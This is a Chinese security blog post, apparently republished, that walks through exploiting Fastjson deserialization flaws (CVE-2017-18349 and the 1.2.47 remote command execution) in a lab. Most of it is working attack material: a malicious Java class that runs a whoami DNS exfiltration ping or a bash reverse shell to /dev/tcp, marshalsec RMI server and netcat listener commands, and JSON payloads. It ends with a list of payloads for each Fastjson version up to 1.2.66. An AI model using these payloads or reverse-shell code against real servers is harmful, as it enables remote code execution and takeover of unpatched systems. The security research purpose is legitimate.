Fastjson框架漏洞

admin 2022年3月25日00:36:36评论124 views字数 7322阅读24分24秒阅读模式

目录

0x00 Fastjson指纹

0x01 FastJson简介

0x02 fastjson 1.2.24 反序列化导致任意命令执行漏洞(CVE-2017-18349)

0x03 Fastjson 1.2.47 远程命令执行漏洞

0x04 不同版本fastjson漏洞payload

 

0x00 Fastjson指纹

0.1 报错信息

    如果有报错回显,可以故意构造不完整json请求,返回的数据包会进行报错,在报错中尝试查找fastjson相关字段。

Fastjson框架漏洞

0.2 DNSlog回显

payload:{"zeo":{"@type":"java.net.Inet4Address","val":"z6h3lf.dnslog.cn"}}


Fastjson框架漏洞

 

 

 

0x01 FastJson简介

    Fastjson是一个Java语言编写的高性能功能完善的JSON库。它采用一种“假定有序快速匹配”的算法,把JSON Parse的性能提升到极致,是目前Java语言中最快的JSON库。Fastjson接口简单易用,已经被广泛使用在缓存序列化、协议交互、Web输出、Android客户端等多种应用场景。

1.1 JNDI

    JNDI (Java Naming and Directory Interface,Java命名和目录接口) 是一组应用程序接口,它为开发人员查找和访问各种资源提供了统一的通用接口,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将JNDI API映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。目录服务是命名服务的一种自然扩展。两者之间的关键差别是目录服务中对象不但可以有名称还可以有属性(例如,用户有email地址),而命名服务中对象没有属性。JNDI可以用来定位用户、网络、机器、对象和服务等各种资源。比如可以利用JNDI在局域网上定位一台打印机,也可以用JNDI来定位数据库服务或一个远程Java对象。JNDI底层支持RMI远程对象,RMI注册的服务可以通过JNDI接口来访问和调用。

    JNDI 是应用程序设计的 Api,JNDI可以根据名字动态加载数据,支持的服务主要有以下几种:DNS、LDAP、 CORBA对象服务、RMI。

1.2 利用JNDI References进行注入

    首先RMI服务端除了可以直接绑定远程对象之外,还可以通过References类来绑定一个外部的远程对象,当RMI绑定了References之后,首先会利用Referenceable.getReference()获取绑定对象的引用,并且在目录中保存(简单理解就是在Registry中保存远程对象的引用),当客户端使用lookup获取对应名字的时候,会返回ReferenceWrapper类的代理文件,然后会调用getReference()获取Reference类,最终通过factory类将Reference转换为具体的对象实例。

Fastjson框架漏洞

 

Fastjson框架漏洞

    References类有两个属性,classNamecodebase url,className就是远程引用的类名,codebase决定了我们远程类的位置,当本地classpath中没有找到对应的类的时候,就会去请求对应codebase地址下的类 (codebase 支持http协议),那么如果我们将codebase地址下的类替换成我们的恶意类,这样我们就能让客户端命令执行。

    但是需要注意的是:在java版本大于1.8u191之后版本存在trustCodebaseURL的限制,只信任已有的codebase地址,不再能够从指定codebase中下载字节码。

    目的:如果我们可以控制JNDI客户端中传入的url话,那么我们是不是可以自己起一个恶意的RMI,让JNDI来加载我们的恶意类从而进行命令执行。

jndi:rmi://Codebase/ClassName

    利用流程:

1. 首先开启HTTP服务器,并将我们的恶意类放在目录下
2. 开启恶意RMI服务器
3. 攻击者控制uri参数为上一步开启的恶意RMI服务器地址
4. 恶意RMI服务器返回ReferenceWrapper类
5. 目标(JNDI_Client) 在执行lookup操作的时候,在decodeObject中将ReferenceWrapper变为 Reference类,然后远程加载并实例化我们的Factory类(即远程加载我们HTTP服务器上的恶意类),在实例化时触发静态代码片段中的恶意代码。

 

 

 

 

0x02 fastjson 1.2.24 反序列化导致任意命令执行漏洞(CVE-2017-18349)

2.1 漏洞简介

    fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。

    通俗理解就是:漏洞是利用fastjson autotype在处理json对象的时候,未对@type字段进行完全的安全性验证,攻击者可以传入危险类,并调用危险类连接远程rmi主机,通过其中的恶意类执行代码。攻击者通过这种方式可以实现远程代码执行漏洞的利用,获取服务器的敏感信息泄露,甚至可以利用此漏洞进一步对服务器数据进行修改,增加,删除等操作,对服务器造成巨大的影响。

2.2 影响版本

    Fastjson < 1.2.25

2.3 漏洞复现

    靶场地址:http://192.168.160.133:8090/

2.3.1 验证漏洞存在(上线CEYE)

①编写恶意类Exploit.java文件

import java.lang.Runtime;import java.lang.Process; public class Exploit{    static {        try {            Runtime rt = Runtime.getRuntime();            String[] commands = {"/bin/sh","-c","ping user.'whoami'.pj52oz.ceye.io"};            Process pc = rt.exec(commands);            pc.waitFor();        } catch (Exception e) {            // do nothing        }    }}


Fastjson框架漏洞

②将Exploit.java编译成class文件。

javac Exploit.java

③在Exploit.calss目录下使用python开启http服务,使用marshalsec-0.0.3-SNAPSHOT-all.jar开启RMI服务,RMI服务指向Exploit.calss网址。

python3 -m http.server 80  //使用Python3开启Web服务java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.160.128/#Exploit" 9999  //marshalsec-0.0.3-SNAPSHOT-all.jar开启RMI服务


④Burpsuite改包发送payload,CEYE成功记录。

payload:{    "b":{        "@type":"com.sun.rowset.JdbcRowSetImpl",        "dataSourceName":"rmi://192.168.160.128:9999/Exploit",        "autoCommit":true    }}


Fastjson框架漏洞

Fastjson框架漏洞

2.3.2 反弹shell

①恶意类Exploit.java文件中插入反弹shell代码

import java.lang.Runtime;import java.lang.Process; public class Exploit{    static {        try {            Runtime rt = Runtime.getRuntime();            String[] commands = {"/bin/bash", "-c", "bash -i >& /dev/tcp/192.168.160.128/4444 0>&1"};            Process pc = rt.exec(commands);            pc.waitFor();        } catch (Exception e) {            // do nothing        }    }}


Fastjson框架漏洞

②将Exploit.java编译成class文件。

javac Exploit.java

③在Exploit.calss目录下使用python开启http服务,使用marshalsec-0.0.3-SNAPSHOT-all.jar开启RMI服务,RMI服务指向Exploit.calss网址,nc开启监听等待shell连接。

python3 -m http.server 80  //使用Python3开启Web服务java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.160.128/#Exploit" 9999  //marshalsec-0.0.3-SNAPSHOT-all.jar开启RMI服务nc -lvnp 4444  //nc等待shell连接


Fastjson框架漏洞

④Burpsuite改包发送payload,反弹shell成功。

payload:

{    "b":{        "@type":"com.sun.rowset.JdbcRowSetImpl",        "dataSourceName":"rmi://192.168.160.128:9999/Exploit",        "autoCommit":true    }}


Fastjson框架漏洞

Fastjson框架漏洞

 

 

 

0x03 Fastjson 1.2.47 远程命令执行漏洞

3.1 漏洞简介

    Fastjson是阿里巴巴公司开源的一款json解析器,其性能优越,被广泛应用于各大厂商的Java项目中。fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。

3.2 影响版本

    Fastjson < 1.2.47

3.3 漏洞复现

靶场环境:192.168.160.133:8090【1.2.47-rce】

3.3.1 命令执行

①编写恶意类TouchFile.java文件,旨在执行创建文件的命令

 import java.lang.Runtime;import java.lang.Process; public class Exploit{    static {        try {            Runtime rt = Runtime.getRuntime();            String[] commands = {"/bin/sh","-c","ping user.'whoami'.pj52oz.ceye.io"};            Process pc = rt.exec(commands);            pc.waitFor();        } catch (Exception e) {            // do nothing        }    }}

Fastjson框架漏洞

②将TouchFile.java编译成class文件。

javac TouchFile.java

③在TouchFile.calss目录下使用python开启http服务,使用marshalsec-0.0.3-SNAPSHOT-all.jar开启RMI服务,RMI服务指向TouchFile.calss网址。

python3 -m http.server 80  //使用Python3开启Web服务java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.160.128/#TouchFile" 1234  //marshalsec-0.0.3-SNAPSHOT-all.jar开启RMI服务


Fastjson框架漏洞

④Burpsuite改包发送payload,文件成功创建。

payload:

{    "a":{        "@type":"java.lang.Class",        "val":"com.sun.rowset.JdbcRowSetImpl"    },    "b":{        "@type":"com.sun.rowset.JdbcRowSetImpl",        "dataSourceName":"rmi://192.168.160.128:1234/Exploit",        "autoCommit":true    }}


 

Fastjson框架漏洞

Fastjson框架漏洞

3.3.2 反弹shell

①恶意类Exploit.java文件中插入反弹shell代码

import java.lang.Runtime;import java.lang.Process; public class Exploit{    static {        try {            Runtime rt = Runtime.getRuntime();            String[] commands = {"/bin/bash", "-c", "bash -i >& /dev/tcp/192.168.160.128/4444 0>&1"};            Process pc = rt.exec(commands);            pc.waitFor();        } catch (Exception e) {            // do nothing        }    }}

Fastjson框架漏洞

②将Exploit.java编译成class文件。

javac Exploit.java

③在Exploit.calss目录下使用python开启http服务,使用marshalsec-0.0.3-SNAPSHOT-all.jar开启RMI服务,RMI服务指向Exploit.calss网址,nc开启监听等待shell连接。

python3 -m http.server 80  //使用Python3开启Web服务java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.160.128/#Exploit" 1234  //marshalsec-0.0.3-SNAPSHOT-all.jar开启RMI服务nc -lvnp 4444  //nc等待shell连接


④Burpsuite改包发送payload,反弹shell成功。

payload:

{

    "b":{

        "@type":"com.sun.rowset.JdbcRowSetImpl",

        "dataSourceName":"rmi://192.168.160.128:9999/Exploit",

        "autoCommit":true

    }

}

Fastjson框架漏洞

 

Fastjson框架漏洞

 

 

 

0x04 不同版本fastjson漏洞payload

4.1 fastjson<=1.2.41

{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://x.x.x.x:1098/jndi", "autoCommit":true}

4.2 fastjson<=1.2.42

{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}

4.3 fastjson<=1.2.45

{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:1389/Exploit"}}

4.4 fastjson<=1.2.47

{    "a": {        "@type": "java.lang.Class",         "val": "com.sun.rowset.JdbcRowSetImpl"    },     "b": {        "@type": "com.sun.rowset.JdbcRowSetImpl",         "dataSourceName": "rmi://x.x.x.x:1098/jndi",         "autoCommit": true    }}

4.5 fastjson<=1.2.62

{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1099/exploit"}";

4.6 fastjson<=1.2.66

{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://127.0.0.1:1099/exploit"}{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://127.0.0.1:1099/exploit"}{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://127.0.0.1:1099/exploit"}{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://127.0.0.1:1099/exploit"}}


 

参考连接

https://blog.csdn.net/tl3shi/article/details/107241427?utm_medium=distribute.pc_relevant.none-task-blog-2~default~baidujs_baidulandingword~default-0.pc_relevant_default&spm=1001.2101.3001.4242.1&utm_relevant_index=3


原文始发于微信公众号(Matrix1024):Fastjson框架漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月25日00:36:36
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Fastjson框架漏洞http://cn-sec.com/archives/840147.html

发表评论

匿名网友 填写信息